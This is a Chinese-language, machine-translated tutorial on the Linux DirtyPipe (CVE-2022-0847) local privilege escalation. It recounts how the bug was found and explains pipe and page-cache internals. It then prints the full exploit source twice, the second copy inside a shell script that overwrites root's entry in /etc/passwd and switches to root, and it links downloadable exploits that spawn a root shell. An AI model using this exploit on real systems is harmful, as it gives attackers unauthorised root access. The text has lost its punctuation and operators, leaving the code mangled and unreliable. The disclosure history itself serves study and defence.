Linux内核本地提权漏洞实操
漏洞描述
DirtyPipe漏洞
它是自5。8以来Linux内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入root进程。
它类似于CVE20165195DirtyCow,但更容易被利用。
该漏洞已在Linux5。16。11、5。15。25和5。10。102中修复。安全研究员MaxKellermann负责任地披露了脏管道漏洞,并表示它会影响LinuxKernel5。8及更高版本,甚至在Android设备上也是如此。自5。8以来Linux内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。发现新管道缓冲区结构的标志成员在Linux内核中的copypagetoiterpipe和pushpipe函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧值。非特权本地用户可以使用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的权限。此漏洞影响5。17rc6之前的Linux内核版本。它类似于CVE20165195DirtyCow,但更容易被利用。该漏洞已在Linux5。16。11、5。15。25和5。10。102中修复。漏洞严重性攻击复杂性:低攻击向量:本地可用性影响:保密影响:完整性影响:高特权要求:范围:用户交互:版本:3。1基数:基础严重性:漏洞是如何被发现的腐败点一
这一切都始于一年前关于损坏文件的投票。有客户抱怨下载的访问日志无法解压。事实上,其中一台日志服务器上有一个损坏的日志文件;可以解压,但是gzip报CRC错误。我无法解释它为什么会损坏,但我认为夜间拆分过程已经崩溃并留下了一个损坏的文件。我手动修复了文件的CRC,关闭了工单,很快就忘记了这个问题。
几个月后,这种情况一次又一次地发生。每次,文件的内容看起来都是正确的,只有文件末尾的CRC是错误的。现在,有了几个损坏的文件,我能够更深入地挖掘并发现一种令人惊讶的损坏。一种模式出现了。访问日志
让我简单介绍一下我们的日志服务器是如何工作的:在CM4all托管环境中,所有Web服务器(运行我们的自定义开源HTTP服务器)发送UDP多播数据报,其中包含有关每个HTTP请求的元数据。这些由运行Pond的日志服务器接收,Pond是我们自定义的开源内存数据库。每晚的作业将前一天的所有访问日志拆分为每个托管网站一个,每个都用zlib压缩。
通过HTTP,可以将一个月的所有访问日志下载为单个。gz文件。使用一个技巧(其中涉及ZSYNCFLUSH),我们可以连接所有gzip压缩的每日日志文件,而无需解压缩和重新压缩它们,这意味着这个HTTP请求几乎不消耗CPU。splice()通过使用系统调用将数据直接从硬盘馈送到HTTP连接,而不通过内核用户空间边界(零复制),可以节省内存带宽。
Windows用户无法处理。gz文件,但每个人都可以提取ZIP文件。ZIP文件只是文件的容器。gz,因此我们可以使用相同的方法即时生成ZIP文件;我们需要做的就是首先发送一个ZIP标头,然后。gz像往常一样连接所有文件内容,然后是中央目录(另一种标头)。腐败点二
这是正确的每日文件的结尾的样子:000005f081d694398a05b0ede9c0fd070000ffff0000060003009c120bf5f74a0000
这是允许简单连接的同步刷新。是一个空的最终块,后面是CRC32()和未压缩的文件长度(19191字节)。0000ffff03000xf50b129c0x00004af7
相同的文件但已损坏:000005f081d694398a05b0ede9c0fd070000ffff000006000300504b01021e031400
同步刷新在那里,空的最终块在那里,但未压缩的长度现在0x0014031e1。3MB(这是错误的,它与上述相同的19kB文件)。CRC32是0x02014b50,与文件内容不匹配。为什么?这是我们日志客户端中的越界写入还是堆损坏错误?
我比较了所有已知损坏的文件,令我惊讶的是,它们都具有相同的CRC32和相同的文件长度值。始终相同的CRC这意味着这不可能是CRC计算的结果。对于损坏的数据,我们会看到不同(但错误)的CRC值。几个小时以来,我一直盯着代码中的漏洞,但找不到解释。
然后我盯着这8个字节。最终,我意识到这是P和K的ASCII码。PK,这就是所有ZIP标头的开始方式。我们再来看看这8个字节:504b504b01021e031400504b是PK0102是中央目录文件头的代码。版本由;30(3。0);UNIX1e030x1e0x03需要提取的版本;20(2。0)14000x0014
其余的都不见了;标头显然在8个字节后被截断。
这确实是ZIP中央目录文件头的开头,这不是巧合。但是写入这些文件的进程没有生成此类标头的代码。无奈之下,我查看了zlib源代码和该进程使用的所有其他库,但一无所获。该软件对PK标头一无所知。
但是,有一个过程会生成PK标头;它是即时构建ZIP文件的Web服务。但是此过程以不同的用户身份运行,该用户对这些文件没有写权限。不可能是那个过程。
这一切都毫无意义,但新的支持票不断涌入(速度非常缓慢)。有一些系统性的问题,但我就是没能抓住它。这让我很沮丧,但我正忙于其他任务,我一直把这个文件损坏问题推到我队列的后面。腐败点三
外部压力把这个问题带回了我的意识。我扫描了整个硬盘上的损坏文件(花了两天时间),希望能出现更多的模式。确实,有一个模式:过去3个月内有37个损坏文件它们发生在22个不同的日子18那些日子有1腐败1天有2次腐败(20211121)1天有7个腐败(20211130)1天有6次腐败(20211231)1天有4次腐败(20220131)
每个月的最后一天显然是最容易发生腐败的一天。
只有主日志服务器有损坏(提供HTTP连接和构建ZIP文件的服务器)。备用服务器(HTTP非活动但相同的日志提取过程)的损坏为零。两台服务器上的数据是相同的,除了那些损坏。
这是由片状硬件引起的吗?内存不好?存储不好?宇宙射线?不,这些症状看起来不像是硬件问题。机器里有鬼?我们需要驱魔人吗?盯着代码的人
我再次开始盯着我的代码漏洞,这次是Web服务。
请记住,Web服务会写入一个ZIP标头,然后用于splice()发送所有压缩文件,最后write()再次用于中央目录文件标头,它以开头,正是损坏。通过网络发送的数据看起来与磁盘上的损坏文件完全一样。但是通过网络发送这个的进程对这些文件没有写权限(甚至没有尝试这样做),它只读取它们。不顾一切和不可能,一定是那个过程导致了腐败,但如何呢?504b01021e031400
我的第一个灵感闪现,为什么总是在一个月的最后一天被破坏。当网站所有者下载访问日志时,服务器会从当月的第一天开始,然后是第二天,以此类推。当然,月底发送的最后一天;每个月的最后一天总是跟在PK标题之后。这就是为什么它更有可能在最后一天腐败。(如果请求的月份尚未结束,则其他日期可能会损坏,但这不太可能。)
如何?盯着内核代码的人
在被困了几个小时之后,在消除了所有绝对不可能的事情之后(在我看来),我得出了一个结论:这一定是一个内核错误。
将数据损坏归咎于Linux内核(即其他人的代码)必须是最后的手段。这是不太可能的。内核是一个极其复杂的项目,由成千上万的人使用看似混乱的方法开发;尽管如此,它还是非常稳定和可靠的。但这一次,我确信它一定是内核错误。
在异常清晰的时刻,我破解了两个C程序。
一个不断将字符串AAAAA的奇数块写入文件(模拟日志拆分器):includeunistd。hintmain(intargc,charargv){for(;;)write(1,AAAAA,5);}。writerfoo
还有一个使用该文件将数据传输到管道splice(),然后将字符串BBBBB写入管道(模拟ZIP生成器):defineGNUSOURCEincludeunistd。hincludefcntl。hintmain(intargc,charargv){for(;;){splice(0,0,1,0,2,0);write(1,BBBBB,5);}}。splicerfoocatdevnull
我将这两个程序复制到日志服务器,然后宾果游戏!字符串BBBBB开始出现在文件中,即使没有人将此字符串写入文件(仅由没有写入权限的进程写入管道)。
所以这真的是一个内核错误!
一旦可以复制,所有错误都会变得浅薄。快速检查确认此错误影响Linux5。10(DebianBullseye)但不影响Linux4。19(DebianBuster)。在v4。19和v5。10之间有185。011次git提交,但是由于有了,只需17个步骤就可以找到错误的提交。gitbisect
bisect到达提交f6dd975583bd,它重构了匿名管道缓冲区的管道缓冲区代码。它改变了对管道进行可合并检查的方式。管道、缓冲区和页面
为什么管呢?在我们的设置中,生成ZIP文件的Web服务通过管道与Web服务器通信;它讨论了我们发明的Web应用程序套接字协议,因为我们对CGI、FastCGI和AJP不满意。使用管道而不是在套接字上进行多路复用(如FastCGI和AJP所做的)有一个主要优势:您可以splice()在应用程序和Web服务器中使用以获得最大效率。这减少了让Web应用程序脱离进程的开销(与在Web服务器进程内运行Web服务相反,就像Apache模块那样)。这允许在不牺牲(很多)性能的情况下进行权限分离。
Linux内存管理的小绕道:CPU管理的最小内存单位是一个页面(通常为4kB)。Linux内存管理的最低层中的一切都是关于页面的。如果应用程序向内核请求内存,它将获得许多(匿名)页面。所有文件IO也与页面有关:如果您从文件中读取数据,内核首先会从硬盘复制一些4kB块到内核内存中,由称为页面缓存的子系统管理。从那里,数据将被复制到用户空间。页面缓存中的副本会保留一段时间,可以再次使用它,避免不必要的硬盘IO,直到内核决定它可以更好地使用该内存(回收)。不是将文件数据复制到用户空间内存,而是由页面缓存管理的页面可以使用mmap()系统调用直接映射到用户空间(以增加页面错误和TLB刷新为代价的减少内存带宽的权衡)。Linux内核有更多技巧:sendfile()系统调用允许应用程序将文件内容发送到套接字,而无需往返用户空间(在通过HTTP提供静态文件的Web服务器中流行的优化)。系统splice()调用是一种概括sendfile():如果传输的任一侧是管道,它允许相同的优化;另一端几乎可以是任何东西(另一个管道、文件、套接字、块设备、字符设备)。内核通过传递页面引用来实现这一点,而不是实际复制任何东西(零复制)。
管道是一种用于单向进程间通信的工具。一端用于将数据推送到其中,另一端可以提取该数据。Linux内核通过一个structpipebuffer环来实现这一点,每个structpipebuffer都指向一个页面。第一次写入管道会分配一个页面(用于4kB数据的空间)。如果最近的写入没有完全填满页面,则后续写入可能会附加到该现有页面而不是分配新页面。这就是匿名管道缓冲区的工作方式(anonpipebufops)。
然而,如果你将splice()数据从一个文件导入到管道中,内核会首先将数据加载到页面缓存中。然后它将在页面缓存内创建一个指向(零副本),但与匿名管道缓冲区不同,写入管道的附加数据不得附加到此类页面,因为该页面由页面缓存拥有,而不是由管道拥有。structpipebuffer
检查是否可以将新数据附加到现有管道缓冲区的历史记录:很久以前,有一面旗帜叫。structpipebufoperationscanmerge提交5274f052e7b3Introducesyssplice()系统调用(Linux2。6。16,2006)以splice()系统调用为特色,介绍了指向页面缓存的管道缓冲区pagecachepipebufops的实现,第一个带有(不可合并)。structpipebufoperationscanmerge0提交01e7187b4119pipe:stopusingcanmerge(Linux5。0,2019)将canmerge标志转换为指针比较,因为仅设置了此标志。structpipebufoperationsanonpipebufops提交f6dd975583bdpipe:mergeanonpipebufops(Linux5。8,2020)将此指针比较转换为perbufferflagPIPEBUFFLAGCANMERGE。
多年来,这个检查被来回重构,这还可以。或者是吗?未初始化
几年前PIPEBUFFLAGCANMERGE诞生,commit241699cd72a8newioviterflavor:pipebacked(Linux4。9,2016)添加了两个新函数,它们分配一个新的,但它的成员的初始化丢失了。现在可以使用任意标志创建页面缓存引用,但这并不重要。从技术上讲,这是一个错误,尽管当时没有任何后果,因为所有现有的标志都相当无聊。structpipebufferflags
这个错误在Linux5。8中突然变得很严重,提交f6dd975583bdpipe:mergeanonpipebufops。通过注入PIPEBUFFLAGCANMERGE页面缓存引用,可以覆盖页面缓存中的数据,只需将新数据写入以特殊方式准备的管道即可。腐败点四
这解释了文件损坏:首先,一些数据被写入管道,然后大量文件被拼接,创建页面缓存引用。随机地,那些可能或可能没有PIPEBUFFLAGCANMERGE设置。如果是,那么write()写入中央目录文件头的调用将被写入最后一个压缩文件的页面缓存。
但为什么只有该标头的前8个字节?实际上,所有标头都被复制到页面缓存中,但此操作不会增加文件大小。原始文件最后只有8个字节的未拼接空间,只有这些字节可以被覆盖。从页面缓存的角度来看,页面的其余部分是未使用的(尽管管道缓冲区代码确实使用它,因为它有自己的页面填充管理)。
为什么这种情况不会更频繁地发生?因为页面缓存不会写回磁盘,除非它认为页面是脏的。意外覆盖页面缓存中的数据不会使页面脏。如果没有其他进程碰巧弄脏该文件,则此更改将是短暂的;在下一次重新启动之后(或者在内核决定从缓存中删除页面之后,例如在内存压力下回收),更改被恢复。这允许有趣的攻击,而不会在硬盘上留下痕迹。利用
在我的第一个漏洞利用(我用于bisect的writersplicer程序)中,我假设这个bug只能在特权进程写入文件时被利用,并且它取决于时间。
当我意识到真正的问题是什么时,我能够大大扩大漏洞:即使在没有写入器的情况下,也可以在(几乎)任意位置用任意数据覆盖页面缓存,没有时间限制。限制是:攻击者必须具有读取权限(因为它需要将splice()页面放入管道)偏移量不能在页面边界上(因为该页面的至少一个字节必须已拼接到管道中)写入不能跨越页面边界(因为将为其余部分创建一个新的匿名缓冲区)文件无法调整大小(因为管道有自己的页面填充管理,并且不会告诉页面缓存附加了多少数据)
要利用此漏洞,您需要:创建管道。用任意数据填充管道(PIPEBUFFLAGCANMERGE在所有环条目中设置标志)。排干管道(在环上的所有实例中设置标志)。structpipebufferstructpipeinodeinfo将目标文件(以开头ORDONLY)中的数据从目标偏移之前的位置拼接到管道中。将任意数据写入管道;此数据将覆盖缓存的文件页面,而不是创建新的异常,因为已设置。structpipebufferPIPEBUFFLAGCANMERGE
为了让这个漏洞更有趣,它不仅可以在没有写权限的情况下工作,它还可以用于不可变文件、只读btrfs快照和只读挂载(包括CDROM挂载)。这是因为页面缓存始终是可写的(由内核),并且写入管道从不检查任何权限。POC
这是我的漏洞概念验证:exploit。cSPDXLicenseIdentifier:GPL2。0Copyright2022CM4allGmbHIONOSSEauthor:MaxKellermannmax。kellermannionos。comProofofconceptexploitfortheDirtyPipevulnerability(CVE20220847)causedbyanuninitializedpipebuffer。flagsvariable。Itdemonstrateshowtooverwriteanyfilecontentsinthepagecache,evenifthefileisnotpermittedtobewritten,immutableoronareadonlymount。ThisexploitrequiresLinux5。8orlater;thecodepathwasmadereachablebycommitf6dd975583bd(pipe:mergeanonpipebufops)。Thecommitdidnotintroducethebug,itwastherebefore,itjustprovidedaneasywaytoexploitit。Therearetwomajorlimitationsofthisexploit:theoffsetcannotbeonapageboundary(itneedstowriteonebytebeforetheoffsettoaddareferencetothispagetothepipe),andthewritecannotcrossapageboundary。Example:。writeanythingroot。sshauthorizedkeys139;sshed25519AAA。。。。。。Furtherexplanation:https:dirtypipe。cm4all。comdefineGNUSOURCEincludeunistd。hincludefcntl。hincludestdio。hincludestdlib。hincludestring。hincludesysstat。hincludesysuser。hifndefPAGESIZEdefinePAGESIZE4096endifCreateapipewhereallbufsonthepipeinodeinforinghavethePIPEBUFFLAGCANMERGEflagset。staticvoidpreparepipe(intp〔2〕){if(pipe(p))abort();constunsignedpipesizefcntl(p〔1〕,FGETPIPESZ);staticcharbuffer〔4096〕;fillthepipecompletely;eachpipebufferwillnowhavethePIPEBUFFLAGCANMERGEflagfor(unsignedrpipesize;r0;){unsignednrsizeof(buffer)?sizeof(buffer):r;write(p〔1〕,buffer,n);rn;}drainthepipe,freeingallpipebufferinstances(butleavingtheflagsinitialized)for(unsignedrpipesize;r0;){unsignednrsizeof(buffer)?sizeof(buffer):r;read(p〔0〕,buffer,n);rn;}thepipeisnowempty,andifsomebodyaddsanewpipebufferwithoutinitializingitsflags,thebufferwillbemergeable}intmain(intargc,charargv){if(argc!4){fprintf(stderr,Usage:sTARGETFILEOFFSETDATA,argv〔0〕);returnEXITFAILURE;}dumbcommandlineargumentparserconstcharconstpathargv〔1〕;lofftoffsetstrtoul(argv〔2〕,NULL,0);constcharconstdataargv〔3〕;constsizetdatasizestrlen(data);if(offsetPAGESIZE0){fprintf(stderr,Sorry,cannotstartwritingatapageboundary);returnEXITFAILURE;}constlofftnextpage(offset(PAGESIZE1))1;constlofftendoffsetoffset(lofft)datasize;if(endoffsetnextpage){fprintf(stderr,Sorry,cannotwriteacrossapageboundary);returnEXITFAILURE;}opentheinputfileandvalidatethespecifiedoffsetconstintfdopen(path,ORDONLY);yes,readonly!if(fd0){perror(openfailed);returnEXITFAILURE;}structstatst;if(fstat(fd,st)){perror(statfailed);returnEXITFAILURE;}if(offsetst。stsize){fprintf(stderr,Offsetisnotinsidethefile);returnEXITFAILURE;}if(endoffsetst。stsize){fprintf(stderr,Sorry,cannotenlargethefile);returnEXITFAILURE;}createthepipewithallflagsinitializedwithPIPEBUFFLAGCANMERGEintp〔2〕;preparepipe(p);spliceonebytefrombeforethespecifiedoffsetintothepipe;thiswilladdareferencetothepagecache,butsincecopypagetoiterpipe()doesnotinitializetheflags,PIPEBUFFLAGCANMERGEisstillsetoffset;ssizetnbytessplice(fd,offset,p〔1〕,NULL,1,0);if(nbytes0){perror(splicefailed);returnEXITFAILURE;}if(nbytes0){fprintf(stderr,shortsplice);returnEXITFAILURE;}thefollowingwritewillnotcreateanewpipebuffer,butwillinsteadwriteintothepagecache,becauseofthePIPEBUFFLAGCANMERGEflagnbyteswrite(p〔1〕,data,datasize);if(nbytes0){perror(writefailed);returnEXITFAILURE;}if((sizet)nbytesdatasize){fprintf(stderr,shortwrite);returnEXITFAILURE;}printf(Itworked!);returnEXITSUCCESS;}时间线20210429:关于文件损坏的第一个支持票20220219:文件损坏问题被确定为Linux内核错误,结果证明这是一个可利用的漏洞20220220:向Linux内核安全团队发送错误报告、漏洞利用和补丁20220221:在GooglePixel6上重现错误;发送给Android安全团队的错误报告20220221:按照LinusTorvalds、WillyTarreau和AlViro的建议,将补丁发送到LKML(不含漏洞详细信息)20220223:带有我的错误修复的Linux稳定版本(5。16。11、5。15。25、5。10。102)20220224:Google将我的错误修复合并到Android内核中20220228:通知linuxdistros邮件列表20220307:公开披露漏洞利用:gccexploit。coexploit
https:github。comantxcodeCVE20220847
下载poc
https:github。comArinerronCVE20220847DirtyPipeExploit。zip
编译。compile。sh(假设gcc已安装)
运行。exploit它会弹出一个rootshellsu:必须从终端运行
如果您收到此错误消息:root使用密码登录aaron。etcpasswd然后,通过运行恢复mvtmppasswd。baketcpasswd
(哎呀抱歉我的笔记本电脑电池快没电了,我的充电器坏了,所以我现在没有时间解决这个问题,抱歉)
或者使用此sh文件进行提权:
https:github。comimfiverCVE20220847binbashcatexp。cEOFSPDXLicenseIdentifier:GPL2。0Copyright2022CM4allGmbHIONOSSEauthor:MaxKellermannmax。kellermannionos。comProofofconceptexploitfortheDirtyPipevulnerability(CVE20220847)causedbyanuninitializedpipebuffer。flagsvariable。Itdemonstrateshowtooverwriteanyfilecontentsinthepagecache,evenifthefileisnotpermittedtobewritten,immutableoronareadonlymount。ThisexploitrequiresLinux5。8orlater;thecodepathwasmadereachablebycommitf6dd975583bd(pipe:mergeanonpipebufops)。Thecommitdidnotintroducethebug,itwastherebefore,itjustprovidedaneasywaytoexploitit。Therearetwomajorlimitationsofthisexploit:theoffsetcannotbeonapageboundary(itneedstowriteonebytebeforetheoffsettoaddareferencetothispagetothepipe),andthewritecannotcrossapageboundary。Example:。writeanythingroot。sshauthorizedkeys139;sshed25519AAA。。。。。。Furtherexplanation:https:dirtypipe。cm4all。comdefineGNUSOURCEincludeunistd。hincludefcntl。hincludestdio。hincludestdlib。hincludestring。hincludesysstat。hincludesysuser。hifndefPAGESIZEdefinePAGESIZE4096endifCreateapipewhereallbufsonthepipeinodeinforinghavethePIPEBUFFLAGCANMERGEflagset。staticvoidpreparepipe(intp〔2〕){if(pipe(p))abort();constunsignedpipesizefcntl(p〔1〕,FGETPIPESZ);staticcharbuffer〔4096〕;fillthepipecompletely;eachpipebufferwillnowhavethePIPEBUFFLAGCANMERGEflagfor(unsignedrpipesize;r0;){unsignednrsizeof(buffer)?sizeof(buffer):r;write(p〔1〕,buffer,n);rn;}drainthepipe,freeingallpipebufferinstances(butleavingtheflagsinitialized)for(unsignedrpipesize;r0;){unsignednrsizeof(buffer)?sizeof(buffer):r;read(p〔0〕,buffer,n);rn;}thepipeisnowempty,andifsomebodyaddsanewpipebufferwithoutinitializingitsflags,thebufferwillbemergeable}intmain(intargc,charargv){if(argc!4){fprintf(stderr,Usage:sTARGETFILEOFFSETDATA,argv〔0〕);returnEXITFAILURE;}dumbcommandlineargumentparserconstcharconstpathargv〔1〕;lofftoffsetstrtoul(argv〔2〕,NULL,0);constcharconstdataargv〔3〕;constsizetdatasizestrlen(data);if(offsetPAGESIZE0){fprintf(stderr,Sorry,cannotstartwritingatapageboundary);returnEXITFAILURE;}constlofftnextpage(offset(PAGESIZE1))1;constlofftendoffsetoffset(lofft)datasize;if(endoffsetnextpage){fprintf(stderr,Sorry,cannotwriteacrossapageboundary);returnEXITFAILURE;}opentheinputfileandvalidatethespecifiedoffsetconstintfdopen(path,ORDONLY);yes,readonly!:)if(fd0){perror(openfailed);returnEXITFAILURE;}structstatst;if(fstat(fd,st)){perror(statfailed);returnEXITFAILURE;}if(offsetst。stsize){fprintf(stderr,Offsetisnotinsidethefile);returnEXITFAILURE;}if(endoffsetst。stsize){fprintf(stderr,Sorry,cannotenlargethefile);returnEXITFAILURE;}createthepipewithallflagsinitializedwithPIPEBUFFLAGCANMERGEintp〔2〕;preparepipe(p);spliceonebytefrombeforethespecifiedoffsetintothepipe;thiswilladdareferencetothepagecache,butsincecopypagetoiterpipe()doesnotinitializetheflags,PIPEBUFFLAGCANMERGEisstillsetoffset;ssizetnbytessplice(fd,offset,p〔1〕,NULL,1,0);if(nbytes0){perror(splicefailed);returnEXITFAILURE;}if(nbytes0){fprintf(stderr,shortsplice);returnEXITFAILURE;}thefollowingwritewillnotcreateanewpipebuffer,butwillinsteadwriteintothepagecache,becauseofthePIPEBUFFLAGCANMERGEflagnbyteswrite(p〔1〕,data,datasize);if(nbytes0){perror(writefailed);returnEXITFAILURE;}if((sizet)nbytesdatasize){fprintf(stderr,shortwrite);returnEXITFAILURE;}printf(Itworked!);returnEXITSUCCESS;}EOFgccexp。coexpstdc99备份密码文件rmftmppasswdcpetcpasswdtmppasswdif〔ftmppasswd〕;thenechoetcpasswd已备份到tmppasswdpasswdtmp(catetcpasswdhead)。expetcpasswd1{passwdtmproot:xoot:}echoe恢复原来的密码rmrfetcpasswdmvtmppasswdetcpasswd现在可以无需密码切换到root账号surootelseechoetcpasswd未备份到tmppasswdexit1fi
原文出处:https:www。ddosi。orgcve20220847